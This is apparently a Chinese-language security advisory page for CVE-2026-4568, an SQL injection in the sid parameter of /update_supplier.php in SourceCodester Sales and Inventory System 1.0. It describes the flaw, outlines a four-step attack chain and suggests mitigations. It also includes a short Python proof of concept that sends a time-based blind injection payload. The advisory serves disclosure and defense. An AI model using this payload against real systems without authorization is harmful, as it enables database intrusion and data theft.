IPBUF安全漏洞报告
English
CVE-2026-4568 CVSS 6.3 中危

CVE-2026-4568 SourceCodester销售库存系统SQL注入漏洞

披露日期: 2026-03-23

漏洞信息

漏洞编号
CVE-2026-4568
漏洞类型
SQL注入
CVSS评分
6.3 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
SourceCodester Sales and Inventory System

相关标签

SQL注入SourceCodesterWeb安全CVE-2026-4568远程代码执行

漏洞概述

SourceCodester Sales and Inventory System 1.0版本中的/update_supplier.php组件存在SQL注入漏洞。该漏洞源于HTTP GET请求处理程序对参数sid的输入验证不足。未经身份验证或低权限的攻击者可利用此漏洞通过构造恶意SQL语句进行远程攻击,从而窃取数据库敏感信息、篡改数据或破坏服务完整性。鉴于利用代码已公开,建议尽快修复。

技术细节

该漏洞位于SourceCodester Sales and Inventory System 1.0的/update_supplier.php接口中。漏洞根源在于应用程序直接将HTTP GET请求中的sid参数代入SQL查询语句执行,未使用预处理语句或进行严格的输入验证。攻击者可以通过在sid参数中注入单引号闭合原查询,并拼接恶意的SQL指令(如UNION SELECT或基于布尔的盲注语句)。由于CVSS评分为6.3,且攻击复杂度低(AC:L),具备低权限(PR:L)的攻击者即可从网络发起攻击。成功的利用可导致数据库中的敏感信息(如用户名、密码哈希、业务数据)被窃取或篡改,且由于漏洞组件直接回显或报错,可能极易被自动化工具扫描和利用。

攻击链分析

STEP 1
侦察
攻击者识别出目标运行的是SourceCodester Sales and Inventory System 1.0,并定位到/update_supplier.php端点。
STEP 2
漏洞探测
攻击者向/update_supplier.php发送带有特殊字符(如单引号)的sid参数,观察应用响应是否存在数据库报错或行为异常。
STEP 3
利用攻击
攻击者构造恶意的SQL注入Payload(如UNION SELECT或布尔盲注语句),通过sid参数提交,以提取数据库结构或敏感数据。
STEP 4
数据窃取
利用获取的数据库权限,进一步导出管理员账号密码或用户隐私信息,甚至获取服务器Shell。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests def check_sqli(url): target = f"{url}/update_supplier.php" # Testing payload for time-based blind SQL injection payload = "1' AND SLEEP(5)-- -" params = { "sid": payload } try: print(f"[+] Sending payload to: {target}") response = requests.get(target, params=params, timeout=10) # Check if the response time indicates a delay (SQL Injection) if response.elapsed.total_seconds() >= 5: print("[!] Vulnerable to SQL Injection!") else: print("[+] Not vulnerable or payload failed.") except requests.exceptions.RequestException as e: print(f"[-] Error: {e}") if __name__ == "__main__": target_url = "http://localhost" # Replace with actual target check_sqli(target_url)

影响范围

SourceCodester Sales and Inventory System 1.0

防御指南

临时缓解措施
建议立即部署Web应用防火墙(WAF)以拦截包含SQL注入特征的流量。如果无法立即修补代码,应在服务器端对sid参数实施严格的正则匹配(例如仅允许数字),并在网络边界限制对该文件的访问。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表